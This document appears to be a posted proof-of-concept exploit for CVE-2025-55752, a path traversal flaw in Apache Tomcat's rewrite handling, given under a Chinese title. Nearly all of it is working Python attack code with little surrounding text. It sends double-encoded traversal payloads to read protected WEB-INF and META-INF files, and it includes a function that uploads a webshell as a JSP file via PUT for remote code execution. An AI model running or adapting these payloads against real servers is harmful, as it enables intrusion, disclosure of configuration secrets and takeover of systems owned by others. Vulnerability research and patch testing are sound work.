CVE-2025-55752 Apache Tomcat相对路径遍历漏洞

import requests # CVE-2025-55752 Apache Tomcat Path Traversal PoC # Target: Apache Tomcat with rewrite module enabled def test_path_traversal(target_url): """ Test for CVE-2025-55752: Path traversal via URL rewrite The vulnerability allows bypassing /WEB-INF/ and /META-INF/ protection """ # Target endpoint with vulnerable rewrite rule base_url = target_url.rstrip('/') # Payload: Double URL encoded path traversal # %252f = encoded /, %252e = encoded . # This bypasses the normalization before decode issue payloads = [ f"{base_url}/..%252f..%252fWEB-INF/web.xml", f"{base_url}/..%252f..%252fWEB-INF/classes/", f"{base_url}/..%252f..%252fMETA-INF/context.xml" ] for payload in payloads: try: response = requests.get(payload, timeout=10) print(f"[*] Testing: {payload}") print(f"[*] Status: {response.status_code}") # Check if sensitive file was exposed if response.status_code == 200: if 'web-app' in response.text or 'Context' in response.text: print("[!] VULNERABLE - Sensitive file exposed!") print(f"[*] Content length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False def exploit_rce(target_url, webshell_content): """ If PUT is enabled, attempt to upload malicious file Requires: vulnerable rewrite + PUT method enabled """ # Path traversal to reach upload directory upload_path = f"{target_url}/..%252f..%252fupload/malicious.jsp" headers = { 'Content-Type': 'text/plain', 'Destination': 'malicious.jsp' } try: response = requests.put( upload_path, data=webshell_content, headers=headers, timeout=10 ) print(f"[*] PUT request status: {response.status_code}") return response.status_code in [200, 201, 204] except requests.RequestException as e: print(f"[-] PUT request failed: {e}") return False if __name__ == "__main__": target = input("Enter target URL (e.g., http://target:8080): ") test_path_traversal(target)